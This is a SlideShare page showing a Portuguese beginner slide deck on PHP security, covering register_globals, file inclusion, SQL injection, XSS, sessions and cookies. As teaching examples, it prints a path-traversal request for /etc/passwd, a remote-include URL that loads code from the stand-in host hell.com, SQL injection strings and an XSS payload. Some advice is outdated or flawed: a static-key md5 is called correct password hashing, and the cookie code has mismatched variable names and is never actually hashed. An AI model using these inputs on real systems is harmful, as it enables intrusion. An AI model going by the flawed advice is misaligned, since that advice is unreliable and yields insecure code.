SlideShare una empresa de Scribd logo
1 de 22
Descargar para leer sin conexión
Hello SAFE World!!!
 Conceitos mínimos de segurança em PHP




              Dalmir da Silva
          dalmirdasilva@gmail.com

        Everaldo Wanderlei Uavniczak
           everaldouav@gmail.com
Sobre a apresentação

Nível:
Iniciante



Escopo:
Básico de segurança em Web, direcionado a PHP



Pré-requisitos:
Nenhum
Vantagens do PHP


fácil aprendizado



tipagem dinâmica (fraca)



é uma linguagem interpretada
Desvantagens do PHP


tipagem dinâmica



inicialização automática de variáveis



configurações padrão não priorizam a segurança
A função error_reporting()

Define quais erros serão reportados

Aconselhado em Desenvolvimento:
error_reporting(E_ALL|E_STRICT); // 6143
ou
error_reporting(2147483647);
Aconselhado em Produção
error_reporting(0);



Veja php.net/error_reporting
Reforçando: error_reporting


 CRIEM O HÁBITO
DE USAR A FUNÇÃO
  error_reporting()
   NO INÍCIO DO
    SCRIPT PHP
Casting
intval()
floatval()
strval()
(int), (integer) - molde para inteiro
(bool), (boolean) - converte para booleano
(float), (double), (real) para número de ponto flutuante
(string) - converte para string
(binary) - converte para string binária (PHP 6)
(array) - converte para array
(object) - converte para objeto
(unset) - converte para NULL (PHP 5)

settype (&$var , $type )
Verifique o tipo da variável

is_int()
is_float()
is_numeric()
is_string()
is_escalar () // int, float, string, bool
is_resource()
is_object()
is_numeric()
is_null()
is_array()
is_bool

gettype()
Register Globals

                           Padrão
PHP < 4.2.0: true
PHP >= 4.2.0: false
PHP 6:         false (diretiva removida)
Maioria dos servidores web = true

http://testepeste.com/index.php?teste=booo
if TRUE:
$teste = 'booo';
$_GET['teste'] = 'booo';

if FALSE
$_GET['teste'] = 'booo';
$teste = ??? ; // variável não setada
Registe Globals - Problemas

http://testepeste.com/?autorizado=true
<?php
if (usuario_autenticado()){
$autorizado = true;
}
if ($autorizado){
include '/dados/altamente/sensiveis.php';
}

http://testepeste.com/?arquivo=../../etc/passwd
<?php
include "meus_script/$arquivo";
Incluindo arquivos

   include() e include_once()
   require() e require_once()
   readfile()

Arquivos que precisam de processamento PHP
require($file);

if ( file_exists($file) ) {
    include($file);
} else {
    // tratamento de erro
}

Arquivos que não precisam de processamento PHP
readfile($file);
allow_url_include

        Padrão na maioria dos servidores web
allow_url_include = 'off'

<?php
include($_GET['file']);


http://testepeste.com/include.php?file=teste.
php

http://testepeste.com/include.php?file=http:
//hell.com/hahaha.txt
Pseudo-Casting

                Nome de Arquivos
$f=eregi_replace('[^a-zA-Z0-9_-]', '', $f);



                      CEP
$cep = eregi_replace('[^0-9-]', '', $cep);



                Data de Nascimento
$dn = eregi_replace('[^0-9/]', '', $dn);
Criptografia de senhas

                    Errado:

$senha = md5($senha);



                        Certo:

$privatekey =
'dfmlkashfdkjahbiHIUT*&gjvhsdsva87%RgGYR';

$senha=md5($privatekey.$senha.$privatekey);
SQL Injection
http://testepeste.com?relatorio.php?nome=Nome
SELECT * FROM `user` WHERE nome='Nome'
http://testepeste.com?relatorio.php?nome=' or 1
SELECT * FROM `user` WHERE nome=' ' or 1
-----------------------------------------------
http://testepeste.com?auth.php?
login=admin&passwd=123
SELECT * FROM `user` WHERE login='admin' AND passwd='123'
http://testepeste.com?auth.php?login=admin'#&passwd=
SELECT * FROM `user` WHERE login='admin'#' AND passwd=
-------------------------------------------------------
Se magic_quotes_gpc estiver on pode duplicar as barras,
entao use uma funcao
function my_escape_strings( $string ) {
   if ( !get_magic_quotes_gpc() )
         return mysql_escape_string( $string );
     else
         return $string;
}
XSS - Cross-Site Scripting
Consiste em Inserir conteúdo em HTML e JS no banco de
dados ou na página que quando exibidos fazem algo

   htmlentities()
   htmlspecialchars() //substitui

& (ampersand) torna-se '&amp;'
" (aspas dupla) torna-se '&quot;'
' (aspas simples) torna-se '&#039;'
< (menor que) torna-se '&lt;'
> (maior que) torna-se '&gt;'

   strip_tags() //remove
<p onmouseover='alert(1)'>algo</p> ficaria paenas algo
Arquivo de Senha

      SEMPRE FORA DA ÁRVORE WEB

Exemplo:

/index.php
/funcoes.php
/outros_milhares_de_arquivos.php

../xyz_super_secret_pass.php
Extensão dos arquivos .php


SEMPRE USEM EXTENSÕES .php

       JAMAIS USEM .inc

SE PRECISAREM, USEM .inc.php

.inc nao é interpretado como .php,
                óbvio
SESSION
session_start();
session_regenerate_id(true);

Ao registrar a sessão, grave o IP e verifique se ele mudou

if (!isset($_SESSION['ip'])) {
    $_SESSION['ip'] = $_SERVER['REMOTE_ADDR'];
}

if ($_SESSION['ip'] !== $_SERVER
['REMOTE_ADDR']) {
    session_destroy();
    die('alguma mensagem');
}
COOKIE

Nunca salve somente o ID no cookie:
Exemplo:
cookie="100"

Use algo como
$cookie="100:7559e8cf919ecac5f918383ea07618b7"

sendo
$private_key = "djklHIU6*&%fytarsd76F67Gy7";
$validate = $_SERVER
['REMOTE_ADDRESS'].$id.$privatekey;

$cookie   = "$id:$validate";
Impeça acesso direto ao arquivo

Use constatante para controle:

// arquivo index.php
define ("TESTEPESTE_SECURITY", true);

// arquivos incluídos
if (!defined('TESTEPESTE_SECURITY')) {
      die ('Você não pode acessar esse arquivo
              diretamente') ;
}
// continua o script
Referência

http://shiflett.org/php-security.pdf
http://php.net/
http://phpsec.org/php-security-guide.pdf

Más contenido relacionado

La actualidad más candente

Segurança PHP - por Samyr Abdo
Segurança PHP - por Samyr AbdoSegurança PHP - por Samyr Abdo
Segurança PHP - por Samyr AbdoSamyr Abdo
 
Proxy, Man-In-The-Middle e testes
Proxy, Man-In-The-Middle e testesProxy, Man-In-The-Middle e testes
Proxy, Man-In-The-Middle e testesStanislaw Pusep
 
Escrevendo códigos php seguros
Escrevendo códigos php segurosEscrevendo códigos php seguros
Escrevendo códigos php segurosDouglas V. Pasqua
 
[FISL 16] PHP no Campo de Batalha: Segurança Avançada e Programação Defensiva...
[FISL 16] PHP no Campo de Batalha: Segurança Avançada e Programação Defensiva...[FISL 16] PHP no Campo de Batalha: Segurança Avançada e Programação Defensiva...
[FISL 16] PHP no Campo de Batalha: Segurança Avançada e Programação Defensiva...Rafael Jaques
 
Otimização e Escalabilidade
Otimização e EscalabilidadeOtimização e Escalabilidade
Otimização e Escalabilidademetzen
 
PHP like a super hero
PHP like a super heroPHP like a super hero
PHP like a super heroElton Minetto
 
JS Experience 2017 - Javascript Funcional
JS Experience 2017 - Javascript FuncionalJS Experience 2017 - Javascript Funcional
JS Experience 2017 - Javascript FuncionaliMasters
 
Oficina postgresql avançado_consegi2010
Oficina postgresql avançado_consegi2010Oficina postgresql avançado_consegi2010
Oficina postgresql avançado_consegi2010Fabrízio Mello
 
React e Ratchet, async e websockets com PHP, por Gabriel Couto
React e Ratchet, async e websockets com PHP, por Gabriel CoutoReact e Ratchet, async e websockets com PHP, por Gabriel Couto
React e Ratchet, async e websockets com PHP, por Gabriel CoutoiMasters
 
Php Test Fest PHPMS, Maio 2008
Php Test Fest PHPMS, Maio 2008Php Test Fest PHPMS, Maio 2008
Php Test Fest PHPMS, Maio 2008zehzinho
 
PHP e PostgreSQL: Um é pouco, dois é bom, três é demais
PHP e PostgreSQL: Um é pouco, dois é bom, três é demaisPHP e PostgreSQL: Um é pouco, dois é bom, três é demais
PHP e PostgreSQL: Um é pouco, dois é bom, três é demaisFabrízio Mello
 
Privilégios de processos no OpenSolaris
Privilégios de processos no OpenSolarisPrivilégios de processos no OpenSolaris
Privilégios de processos no OpenSolarisRafael Barbolo
 
Aula 02 - Introdução ao PHP - Programação Web
Aula 02  - Introdução ao PHP - Programação WebAula 02  - Introdução ao PHP - Programação Web
Aula 02 - Introdução ao PHP - Programação WebDalton Martins
 

La actualidad más candente (20)

Segurança PHP - por Samyr Abdo
Segurança PHP - por Samyr AbdoSegurança PHP - por Samyr Abdo
Segurança PHP - por Samyr Abdo
 
Proxy, Man-In-The-Middle e testes
Proxy, Man-In-The-Middle e testesProxy, Man-In-The-Middle e testes
Proxy, Man-In-The-Middle e testes
 
Escrevendo códigos php seguros
Escrevendo códigos php segurosEscrevendo códigos php seguros
Escrevendo códigos php seguros
 
Segurança Web com PHP5
Segurança Web com PHP5Segurança Web com PHP5
Segurança Web com PHP5
 
Aprofunde se no php 5.3
Aprofunde se no php 5.3Aprofunde se no php 5.3
Aprofunde se no php 5.3
 
[FISL 16] PHP no Campo de Batalha: Segurança Avançada e Programação Defensiva...
[FISL 16] PHP no Campo de Batalha: Segurança Avançada e Programação Defensiva...[FISL 16] PHP no Campo de Batalha: Segurança Avançada e Programação Defensiva...
[FISL 16] PHP no Campo de Batalha: Segurança Avançada e Programação Defensiva...
 
Otimização e Escalabilidade
Otimização e EscalabilidadeOtimização e Escalabilidade
Otimização e Escalabilidade
 
PHP like a super hero
PHP like a super heroPHP like a super hero
PHP like a super hero
 
JS Experience 2017 - Javascript Funcional
JS Experience 2017 - Javascript FuncionalJS Experience 2017 - Javascript Funcional
JS Experience 2017 - Javascript Funcional
 
Oficina postgresql avançado_consegi2010
Oficina postgresql avançado_consegi2010Oficina postgresql avançado_consegi2010
Oficina postgresql avançado_consegi2010
 
React e Ratchet, async e websockets com PHP, por Gabriel Couto
React e Ratchet, async e websockets com PHP, por Gabriel CoutoReact e Ratchet, async e websockets com PHP, por Gabriel Couto
React e Ratchet, async e websockets com PHP, por Gabriel Couto
 
Php Test Fest PHPMS, Maio 2008
Php Test Fest PHPMS, Maio 2008Php Test Fest PHPMS, Maio 2008
Php Test Fest PHPMS, Maio 2008
 
Pdo do PHP Palestra
Pdo do PHP PalestraPdo do PHP Palestra
Pdo do PHP Palestra
 
PHP e PostgreSQL: Um é pouco, dois é bom, três é demais
PHP e PostgreSQL: Um é pouco, dois é bom, três é demaisPHP e PostgreSQL: Um é pouco, dois é bom, três é demais
PHP e PostgreSQL: Um é pouco, dois é bom, três é demais
 
Brasiliatestfest
BrasiliatestfestBrasiliatestfest
Brasiliatestfest
 
Php 07 Cakephp
Php 07 CakephpPhp 07 Cakephp
Php 07 Cakephp
 
JasperReports
JasperReportsJasperReports
JasperReports
 
Privilégios de processos no OpenSolaris
Privilégios de processos no OpenSolarisPrivilégios de processos no OpenSolaris
Privilégios de processos no OpenSolaris
 
Let's log!
Let's log!Let's log!
Let's log!
 
Aula 02 - Introdução ao PHP - Programação Web
Aula 02  - Introdução ao PHP - Programação WebAula 02  - Introdução ao PHP - Programação Web
Aula 02 - Introdução ao PHP - Programação Web
 

Destacado

TOR (The Onion Router): Navegue com privacidade na Internet
TOR (The Onion Router): Navegue com privacidade na InternetTOR (The Onion Router): Navegue com privacidade na Internet
TOR (The Onion Router): Navegue com privacidade na InternetEveraldo Wanderlei Uavniczak
 
TOR - Navegando na internet sem ser rastreado
TOR - Navegando na internet sem ser rastreadoTOR - Navegando na internet sem ser rastreado
TOR - Navegando na internet sem ser rastreadoAlexandro Silva
 
Tchelinux 2009 - Otimização de sites para motores de busca
Tchelinux 2009 - Otimização de sites para motores de buscaTchelinux 2009 - Otimização de sites para motores de busca
Tchelinux 2009 - Otimização de sites para motores de buscaEveraldo Wanderlei Uavniczak
 
SEO: (Search Engine Optimization) Otimização de buscas de Sites
SEO: (Search Engine Optimization) Otimização de buscas de SitesSEO: (Search Engine Optimization) Otimização de buscas de Sites
SEO: (Search Engine Optimization) Otimização de buscas de SitesEveraldo Wanderlei Uavniczak
 
32 Ways a Digital Marketing Consultant Can Help Grow Your Business
32 Ways a Digital Marketing Consultant Can Help Grow Your Business32 Ways a Digital Marketing Consultant Can Help Grow Your Business
32 Ways a Digital Marketing Consultant Can Help Grow Your BusinessBarry Feldman
 

Destacado (7)

TOR (The Onion Router): Navegue com privacidade na Internet
TOR (The Onion Router): Navegue com privacidade na InternetTOR (The Onion Router): Navegue com privacidade na Internet
TOR (The Onion Router): Navegue com privacidade na Internet
 
TOR - Navegando na internet sem ser rastreado
TOR - Navegando na internet sem ser rastreadoTOR - Navegando na internet sem ser rastreado
TOR - Navegando na internet sem ser rastreado
 
Tchelinux 2009 - Otimização de sites para motores de busca
Tchelinux 2009 - Otimização de sites para motores de buscaTchelinux 2009 - Otimização de sites para motores de busca
Tchelinux 2009 - Otimização de sites para motores de busca
 
Quick Form DataBase (QFDB)
Quick Form DataBase (QFDB)Quick Form DataBase (QFDB)
Quick Form DataBase (QFDB)
 
SEO: (Search Engine Optimization) Otimização de buscas de Sites
SEO: (Search Engine Optimization) Otimização de buscas de SitesSEO: (Search Engine Optimization) Otimização de buscas de Sites
SEO: (Search Engine Optimization) Otimização de buscas de Sites
 
jQuery Simplificando o JavaScript
jQuery Simplificando o JavaScriptjQuery Simplificando o JavaScript
jQuery Simplificando o JavaScript
 
32 Ways a Digital Marketing Consultant Can Help Grow Your Business
32 Ways a Digital Marketing Consultant Can Help Grow Your Business32 Ways a Digital Marketing Consultant Can Help Grow Your Business
32 Ways a Digital Marketing Consultant Can Help Grow Your Business
 

Similar a Hello SAFE World!!!

Memcached, Gearman e Sphinx
Memcached, Gearman e SphinxMemcached, Gearman e Sphinx
Memcached, Gearman e SphinxElton Minetto
 
Prog web 02-php-primeiros-passos
Prog web 02-php-primeiros-passosProg web 02-php-primeiros-passos
Prog web 02-php-primeiros-passosRegis Magalhães
 
Validação e Operações CRUD em PHP
Validação e Operações CRUD em PHPValidação e Operações CRUD em PHP
Validação e Operações CRUD em PHPBreno Vitorino
 
Qualidade no desenvolvimento de software com PHPUnit
Qualidade no desenvolvimento de software com PHPUnitQualidade no desenvolvimento de software com PHPUnit
Qualidade no desenvolvimento de software com PHPUnitDiego Tremper
 
Código legado - PHP Conference Brasil - 2014
Código legado - PHP Conference Brasil - 2014Código legado - PHP Conference Brasil - 2014
Código legado - PHP Conference Brasil - 2014Michael Castillo Granados
 
Php 03 Sessoes Cookies Cabecalhos
Php 03 Sessoes Cookies CabecalhosPhp 03 Sessoes Cookies Cabecalhos
Php 03 Sessoes Cookies CabecalhosRegis Magalhães
 
LabMM4 (T22 - 12/13) - segurança
LabMM4 (T22 - 12/13) - segurançaLabMM4 (T22 - 12/13) - segurança
LabMM4 (T22 - 12/13) - segurançaCarlos Santos
 
PHPSP TestFest 2009
PHPSP TestFest 2009PHPSP TestFest 2009
PHPSP TestFest 2009Rafael Dohms
 
Pgads42
Pgads42Pgads42
Pgads42csmp
 
Pg2
Pg2Pg2
Pg2csmp
 
Fundamentos Replicação MySQL
Fundamentos Replicação MySQLFundamentos Replicação MySQL
Fundamentos Replicação MySQLAlexandre Almeida
 
Segurança (in portuguese)
Segurança (in portuguese)Segurança (in portuguese)
Segurança (in portuguese)Bruno Pedro
 

Similar a Hello SAFE World!!! (20)

Memcached, Gearman e Sphinx
Memcached, Gearman e SphinxMemcached, Gearman e Sphinx
Memcached, Gearman e Sphinx
 
Prog web 02-php-primeiros-passos
Prog web 02-php-primeiros-passosProg web 02-php-primeiros-passos
Prog web 02-php-primeiros-passos
 
PHP MySQL Aula 07
PHP MySQL Aula 07PHP MySQL Aula 07
PHP MySQL Aula 07
 
Validação e Operações CRUD em PHP
Validação e Operações CRUD em PHPValidação e Operações CRUD em PHP
Validação e Operações CRUD em PHP
 
Qualidade no desenvolvimento de software com PHPUnit
Qualidade no desenvolvimento de software com PHPUnitQualidade no desenvolvimento de software com PHPUnit
Qualidade no desenvolvimento de software com PHPUnit
 
PHP FrameWARks - FISL
PHP FrameWARks - FISLPHP FrameWARks - FISL
PHP FrameWARks - FISL
 
Código legado - PHP Conference Brasil - 2014
Código legado - PHP Conference Brasil - 2014Código legado - PHP Conference Brasil - 2014
Código legado - PHP Conference Brasil - 2014
 
Segurança PHP em 2016
Segurança PHP em 2016Segurança PHP em 2016
Segurança PHP em 2016
 
Ganhando tempo com casos de testes
Ganhando tempo com casos de testesGanhando tempo com casos de testes
Ganhando tempo com casos de testes
 
Php 03 Sessoes Cookies Cabecalhos
Php 03 Sessoes Cookies CabecalhosPhp 03 Sessoes Cookies Cabecalhos
Php 03 Sessoes Cookies Cabecalhos
 
LabMM4 (T22 - 12/13) - segurança
LabMM4 (T22 - 12/13) - segurançaLabMM4 (T22 - 12/13) - segurança
LabMM4 (T22 - 12/13) - segurança
 
Zend Framework
Zend FrameworkZend Framework
Zend Framework
 
Dev Ext PHP
Dev Ext PHPDev Ext PHP
Dev Ext PHP
 
apostila.pdf
apostila.pdfapostila.pdf
apostila.pdf
 
PHPSP TestFest 2009
PHPSP TestFest 2009PHPSP TestFest 2009
PHPSP TestFest 2009
 
Pgads42
Pgads42Pgads42
Pgads42
 
Pg2
Pg2Pg2
Pg2
 
Fundamentos Replicação MySQL
Fundamentos Replicação MySQLFundamentos Replicação MySQL
Fundamentos Replicação MySQL
 
Segurança (in portuguese)
Segurança (in portuguese)Segurança (in portuguese)
Segurança (in portuguese)
 
Curso de Introdução - PHP
Curso de Introdução - PHPCurso de Introdução - PHP
Curso de Introdução - PHP
 

Hello SAFE World!!!

  • 1. Hello SAFE World!!! Conceitos mínimos de segurança em PHP Dalmir da Silva dalmirdasilva@gmail.com Everaldo Wanderlei Uavniczak everaldouav@gmail.com
  • 2. Sobre a apresentação Nível: Iniciante Escopo: Básico de segurança em Web, direcionado a PHP Pré-requisitos: Nenhum
  • 3. Vantagens do PHP fácil aprendizado tipagem dinâmica (fraca) é uma linguagem interpretada
  • 4. Desvantagens do PHP tipagem dinâmica inicialização automática de variáveis configurações padrão não priorizam a segurança
  • 5. A função error_reporting() Define quais erros serão reportados Aconselhado em Desenvolvimento: error_reporting(E_ALL|E_STRICT); // 6143 ou error_reporting(2147483647); Aconselhado em Produção error_reporting(0); Veja php.net/error_reporting
  • 6. Reforçando: error_reporting CRIEM O HÁBITO DE USAR A FUNÇÃO error_reporting() NO INÍCIO DO SCRIPT PHP
  • 7. Casting intval() floatval() strval() (int), (integer) - molde para inteiro (bool), (boolean) - converte para booleano (float), (double), (real) para número de ponto flutuante (string) - converte para string (binary) - converte para string binária (PHP 6) (array) - converte para array (object) - converte para objeto (unset) - converte para NULL (PHP 5) settype (&$var , $type )
  • 8. Verifique o tipo da variável is_int() is_float() is_numeric() is_string() is_escalar () // int, float, string, bool is_resource() is_object() is_numeric() is_null() is_array() is_bool gettype()
  • 9. Register Globals Padrão PHP < 4.2.0: true PHP >= 4.2.0: false PHP 6: false (diretiva removida) Maioria dos servidores web = true http://testepeste.com/index.php?teste=booo if TRUE: $teste = 'booo'; $_GET['teste'] = 'booo'; if FALSE $_GET['teste'] = 'booo'; $teste = ??? ; // variável não setada
  • 10. Registe Globals - Problemas http://testepeste.com/?autorizado=true <?php if (usuario_autenticado()){ $autorizado = true; } if ($autorizado){ include '/dados/altamente/sensiveis.php'; } http://testepeste.com/?arquivo=../../etc/passwd <?php include "meus_script/$arquivo";
  • 11. Incluindo arquivos include() e include_once() require() e require_once() readfile() Arquivos que precisam de processamento PHP require($file); if ( file_exists($file) ) { include($file); } else { // tratamento de erro } Arquivos que não precisam de processamento PHP readfile($file);
  • 12. allow_url_include Padrão na maioria dos servidores web allow_url_include = 'off' <?php include($_GET['file']); http://testepeste.com/include.php?file=teste. php http://testepeste.com/include.php?file=http: //hell.com/hahaha.txt
  • 13. Pseudo-Casting Nome de Arquivos $f=eregi_replace('[^a-zA-Z0-9_-]', '', $f); CEP $cep = eregi_replace('[^0-9-]', '', $cep); Data de Nascimento $dn = eregi_replace('[^0-9/]', '', $dn);
  • 14. Criptografia de senhas Errado: $senha = md5($senha); Certo: $privatekey = 'dfmlkashfdkjahbiHIUT*&gjvhsdsva87%RgGYR'; $senha=md5($privatekey.$senha.$privatekey);
  • 15. SQL Injection http://testepeste.com?relatorio.php?nome=Nome SELECT * FROM `user` WHERE nome='Nome' http://testepeste.com?relatorio.php?nome=' or 1 SELECT * FROM `user` WHERE nome=' ' or 1 ----------------------------------------------- http://testepeste.com?auth.php? login=admin&passwd=123 SELECT * FROM `user` WHERE login='admin' AND passwd='123' http://testepeste.com?auth.php?login=admin'#&passwd= SELECT * FROM `user` WHERE login='admin'#' AND passwd= ------------------------------------------------------- Se magic_quotes_gpc estiver on pode duplicar as barras, entao use uma funcao function my_escape_strings( $string ) { if ( !get_magic_quotes_gpc() ) return mysql_escape_string( $string ); else return $string; }
  • 16. XSS - Cross-Site Scripting Consiste em Inserir conteúdo em HTML e JS no banco de dados ou na página que quando exibidos fazem algo htmlentities() htmlspecialchars() //substitui & (ampersand) torna-se '&amp;' " (aspas dupla) torna-se '&quot;' ' (aspas simples) torna-se '&#039;' < (menor que) torna-se '&lt;' > (maior que) torna-se '&gt;' strip_tags() //remove <p onmouseover='alert(1)'>algo</p> ficaria paenas algo
  • 17. Arquivo de Senha SEMPRE FORA DA ÁRVORE WEB Exemplo: /index.php /funcoes.php /outros_milhares_de_arquivos.php ../xyz_super_secret_pass.php
  • 18. Extensão dos arquivos .php SEMPRE USEM EXTENSÕES .php JAMAIS USEM .inc SE PRECISAREM, USEM .inc.php .inc nao é interpretado como .php, óbvio
  • 19. SESSION session_start(); session_regenerate_id(true); Ao registrar a sessão, grave o IP e verifique se ele mudou if (!isset($_SESSION['ip'])) { $_SESSION['ip'] = $_SERVER['REMOTE_ADDR']; } if ($_SESSION['ip'] !== $_SERVER ['REMOTE_ADDR']) { session_destroy(); die('alguma mensagem'); }
  • 20. COOKIE Nunca salve somente o ID no cookie: Exemplo: cookie="100" Use algo como $cookie="100:7559e8cf919ecac5f918383ea07618b7" sendo $private_key = "djklHIU6*&%fytarsd76F67Gy7"; $validate = $_SERVER ['REMOTE_ADDRESS'].$id.$privatekey; $cookie = "$id:$validate";
  • 21. Impeça acesso direto ao arquivo Use constatante para controle: // arquivo index.php define ("TESTEPESTE_SECURITY", true); // arquivos incluídos if (!defined('TESTEPESTE_SECURITY')) { die ('Você não pode acessar esse arquivo diretamente') ; } // continua o script